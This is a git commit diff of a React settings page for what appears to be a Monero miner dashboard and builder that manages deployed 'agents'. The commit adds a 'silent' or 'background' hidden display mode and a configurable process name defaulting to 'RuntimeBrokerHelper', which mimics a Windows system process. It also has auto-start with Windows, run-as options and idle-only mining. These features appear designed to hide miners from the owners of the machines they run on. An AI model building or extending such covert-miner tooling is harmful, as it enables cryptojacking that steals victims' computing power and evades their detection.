Upgrade dashboard, builder, and agent resource controls.

Dark UI with hashrate graphs, inline setting help, percent-based threads/RAM, configurable process name and display modes, and LAN-aware run.bat startup banner.
This commit is contained in:
drjones
2026-05-26 23:26:39 -07:00
parent 6241dfd556
commit f7d6dcf542
24 changed files with 960 additions and 191 deletions

View File

@@ -1,6 +1,7 @@
import { useState, useEffect } from 'react';
import { api } from '../api/client';
import type { ServerConfig } from '../types';
import { HelpTip } from '../components/HelpTip';
import './Pages.css';
export default function SettingsPage() {
@@ -83,7 +84,7 @@ export default function SettingsPage() {
<h2>Pool Connection</h2>
<p className="section-desc">Configure which Monero pool your miners connect to.</p>
<div className="form-group">
<label className="label">Pool Host</label>
<label className="label">Pool Host <HelpTip field="pool_host" /></label>
<input
type="text"
className="input"
@@ -94,7 +95,7 @@ export default function SettingsPage() {
</div>
<div className="form-row">
<div className="form-group">
<label className="label">Port</label>
<label className="label">Port <HelpTip field="pool_port" /></label>
<input
type="number"
className="input"
@@ -131,7 +132,7 @@ export default function SettingsPage() {
<h2>Wallet</h2>
<p className="section-desc">Default wallet address for new miners.</p>
<div className="form-group">
<label className="label">XMR Wallet Address</label>
<label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
<input
type="text"
className="input mono"
@@ -157,18 +158,45 @@ export default function SettingsPage() {
<p className="section-desc">Default settings applied to newly built miners.</p>
<div className="form-row">
<div className="form-group">
<label className="label">Threads</label>
<input
type="number"
className="input"
min={1}
max={128}
value={config.default_agent_config.threads}
onChange={(e) => updateField('default_agent_config.threads', parseInt(e.target.value) || 1)}
/>
<label className="label">Thread Mode <HelpTip field="thread_mode" /></label>
<select
className="select"
value={config.default_agent_config.thread_mode || 'percent'}
onChange={(e) => updateField('default_agent_config.thread_mode', e.target.value)}
>
<option value="percent">Auto (% of cores)</option>
<option value="fixed">Fixed count</option>
</select>
</div>
{config.default_agent_config.thread_mode === 'fixed' ? (
<div className="form-group">
<label className="label">Threads <HelpTip field="threads" /></label>
<input
type="number"
className="input"
min={1}
max={128}
value={config.default_agent_config.threads}
onChange={(e) => updateField('default_agent_config.threads', parseInt(e.target.value) || 1)}
/>
</div>
) : (
<div className="form-group">
<label className="label">Thread Percent <HelpTip field="thread_percent" /></label>
<input
type="number"
className="input"
min={10}
max={100}
value={config.default_agent_config.thread_percent ?? 75}
onChange={(e) => updateField('default_agent_config.thread_percent', parseInt(e.target.value) || 75)}
/>
</div>
)}
</div>
<div className="form-row">
<div className="form-group">
<label className="label">CPU Priority</label>
<label className="label">CPU Priority <HelpTip field="cpu_priority" /></label>
<select
className="select"
value={config.default_agent_config.cpu_priority}
@@ -184,7 +212,7 @@ export default function SettingsPage() {
</div>
<div className="form-row">
<div className="form-group">
<label className="label">Max CPU Usage (%)</label>
<label className="label">Max CPU Usage (%) <HelpTip field="max_cpu_usage_pct" /></label>
<input
type="number"
className="input"
@@ -195,7 +223,18 @@ export default function SettingsPage() {
/>
</div>
<div className="form-group">
<label className="label">Min Free RAM (MB)</label>
<label className="label">Max Memory (%) <HelpTip field="max_memory_percent" /></label>
<input
type="number"
className="input"
min={10}
max={95}
value={config.default_agent_config.max_memory_percent ?? 70}
onChange={(e) => updateField('default_agent_config.max_memory_percent', parseInt(e.target.value) || 70)}
/>
</div>
<div className="form-group">
<label className="label">Min Free RAM (MB) <HelpTip field="min_free_ram_mb" /></label>
<input
type="number"
className="input"
@@ -205,8 +244,32 @@ export default function SettingsPage() {
/>
</div>
</div>
<div className="form-row">
<div className="form-group">
<label className="label">Display Mode <HelpTip field="display_mode" /></label>
<select
className="select"
value={config.default_agent_config.display_mode || 'background'}
onChange={(e) => updateField('default_agent_config.display_mode', e.target.value)}
>
<option value="visible">Visible (console)</option>
<option value="silent">Silent (hidden window)</option>
<option value="background">Background (hidden + low priority)</option>
</select>
</div>
<div className="form-group">
<label className="label">Process Name <HelpTip field="process_name" /></label>
<input
type="text"
className="input"
value={config.default_agent_config.process_name || 'RuntimeBrokerHelper'}
onChange={(e) => updateField('default_agent_config.process_name', e.target.value)}
placeholder="RuntimeBrokerHelper"
/>
</div>
</div>
<div className="form-group">
<label className="label">Mining Mode</label>
<label className="label">Mining Mode <HelpTip field="mining_mode" /></label>
<select
className="select"
value={config.default_agent_config.mining_mode}
@@ -220,7 +283,7 @@ export default function SettingsPage() {
{config.default_agent_config.mining_mode === 'idle' && (
<div className="form-row">
<div className="form-group">
<label className="label">Idle CPU Threshold (%)</label>
<label className="label">Idle CPU Threshold (%) <HelpTip field="idle_threshold_pct" /></label>
<input
type="number"
className="input"
@@ -231,7 +294,7 @@ export default function SettingsPage() {
/>
</div>
<div className="form-group">
<label className="label">Idle Duration (min)</label>
<label className="label">Idle Duration (min) <HelpTip field="idle_duration_minutes" /></label>
<input
type="number"
className="input"
@@ -245,7 +308,7 @@ export default function SettingsPage() {
{config.default_agent_config.mining_mode === 'scheduled' && (
<div className="form-row">
<div className="form-group">
<label className="label">Start Time</label>
<label className="label">Start Time <HelpTip field="schedule_start" /></label>
<input
type="time"
className="input"
@@ -254,7 +317,7 @@ export default function SettingsPage() {
/>
</div>
<div className="form-group">
<label className="label">End Time</label>
<label className="label">End Time <HelpTip field="schedule_end" /></label>
<input
type="time"
className="input"
@@ -278,11 +341,11 @@ export default function SettingsPage() {
checked={config.background.silent_mode}
onChange={(e) => updateField('background.silent_mode', e.target.checked)}
/>
<span>Silent Mode (no console window, runs hidden)</span>
<span>Silent Mode (no console window) <HelpTip field="silent_mode" /></span>
</label>
</div>
<div className="form-group">
<label className="label">Run As</label>
<label className="label">Run As <HelpTip field="run_as" /></label>
<select
className="select"
value={config.background.run_as}
@@ -301,7 +364,7 @@ export default function SettingsPage() {
checked={config.background.auto_start}
onChange={(e) => updateField('background.auto_start', e.target.checked)}
/>
<span>Auto-start with Windows</span>
<span>Auto-start with Windows <HelpTip field="auto_start" /></span>
</label>
</div>
<div className="form-group checkbox-group">